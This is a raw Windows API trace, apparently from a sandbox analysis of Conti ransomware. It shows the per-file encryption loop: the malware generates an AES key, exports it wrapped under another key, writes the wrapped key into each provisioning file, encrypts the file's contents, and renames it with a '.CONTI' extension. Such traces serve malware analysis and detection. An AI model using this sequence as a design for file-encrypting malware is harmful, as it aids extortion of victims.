	[0110.935] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0110.935] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65713b0 | out: phKey=0x65713b0*=0x17c7770) returned 1
	[0110.935] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65713b4, pdwDataLen=0x587f8ac | out: pbData=0x65713b4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0110.935] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.936] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0110.936] GetLastError () returned 0x0
	[0110.936] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=709) returned 1
	[0110.936] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0110.936] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.936] SetEndOfFile (hFile=0x378) returned 1
	[0110.936] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.937] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.937] WriteFile (in: hFile=0x378, lpBuffer=0x65713b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65713b4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0111.305] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.305] ReadFile (in: hFile=0x378, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2c5, lpOverlapped=0x0) returned 1
	[0111.305] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2c5, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0111.305] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.305] WriteFile (in: hFile=0x378, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.305] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.305] WriteFile (in: hFile=0x378, lpBuffer=0x65713a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65713a8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0111.305] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.305] CloseHandle (hObject=0x378) returned 1
	[0111.366] GetProcessHeap () returned 0x1720000
	[0111.366] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.168] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml"
	[0112.168] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.168] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.169] GetProcessHeap () returned 0x1720000
	[0112.169] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.169] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0112.169] GetProcessHeap () returned 0x1720000
	[0112.169] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656dae0 | out: hHeap=0x1720000) returned 1
	[0112.169] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.169] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x180da00 | out: phKey=0x180da00*=0x6b7f338) returned 1
	[0112.169] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180da04, pdwDataLen=0x587f8ac | out: pbData=0x180da04*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.170] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.170] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0112.170] GetLastError () returned 0x0
	[0112.170] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=733) returned 1
	[0112.170] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dd
	[0112.170] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.170] SetEndOfFile (hFile=0x408) returned 1
	[0112.170] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.170] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.170] WriteFile (in: hFile=0x408, lpBuffer=0x180da04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x180da04*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.173] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.173] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2dd, lpOverlapped=0x0) returned 1
	[0112.173] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2dd, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e0) returned 1
	[0112.173] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.173] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.173] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.173] WriteFile (in: hFile=0x408, lpBuffer=0x180d9f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x180d9f8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.174] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.174] CloseHandle (hObject=0x408) returned 1
	[0112.174] GetProcessHeap () returned 0x1720000
	[0112.174] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.174] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml"
	[0112.174] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.174] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.175] GetProcessHeap () returned 0x1720000
	[0112.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.175] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.175] GetProcessHeap () returned 0x1720000
	[0112.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17dece0 | out: hHeap=0x1720000) returned 1
	[0112.175] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.175] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x1810c30 | out: phKey=0x1810c30*=0x6b7f478) returned 1
	[0112.175] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1810c34, pdwDataLen=0x587f8ac | out: pbData=0x1810c34*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.176] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.176] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0112.176] GetLastError () returned 0x0
	[0112.176] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=472) returned 1
	[0112.176] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0112.176] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.176] SetEndOfFile (hFile=0x408) returned 1
	[0112.181] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.181] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.181] WriteFile (in: hFile=0x408, lpBuffer=0x1810c34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x1810c34*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.188] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.189] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1d8, lpOverlapped=0x0) returned 1
	[0112.189] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1d8, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1e0) returned 1
	[0112.189] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.189] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.189] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.189] WriteFile (in: hFile=0x408, lpBuffer=0x1810c28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1810c28*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.189] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.189] CloseHandle (hObject=0x408) returned 1
	[0112.189] GetProcessHeap () returned 0x1720000
	[0112.189] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.189] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0112.189] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0112.189] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0112.190] GetProcessHeap () returned 0x1720000
	[0112.190] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.190] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.190] GetProcessHeap () returned 0x1720000
	[0112.190] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b811b0 | out: hHeap=0x1720000) returned 1
	[0112.191] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.191] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x1811308 | out: phKey=0x1811308*=0x6b7f478) returned 1
	[0112.191] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x181130c, pdwDataLen=0x587f8ac | out: pbData=0x181130c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.191] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.192] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0112.192] GetLastError () returned 0x0
	[0112.192] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=731) returned 1
	[0112.192] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0112.192] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.192] SetEndOfFile (hFile=0x408) returned 1
	[0112.192] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.192] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.192] WriteFile (in: hFile=0x408, lpBuffer=0x181130c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x181130c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.201] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.201] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2db, lpOverlapped=0x0) returned 1
	[0112.201] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2db, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e0) returned 1
	[0112.201] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.201] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.201] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.201] WriteFile (in: hFile=0x408, lpBuffer=0x1811300*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1811300*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.201] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.201] CloseHandle (hObject=0x408) returned 1
	[0112.201] GetProcessHeap () returned 0x1720000
	[0112.201] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
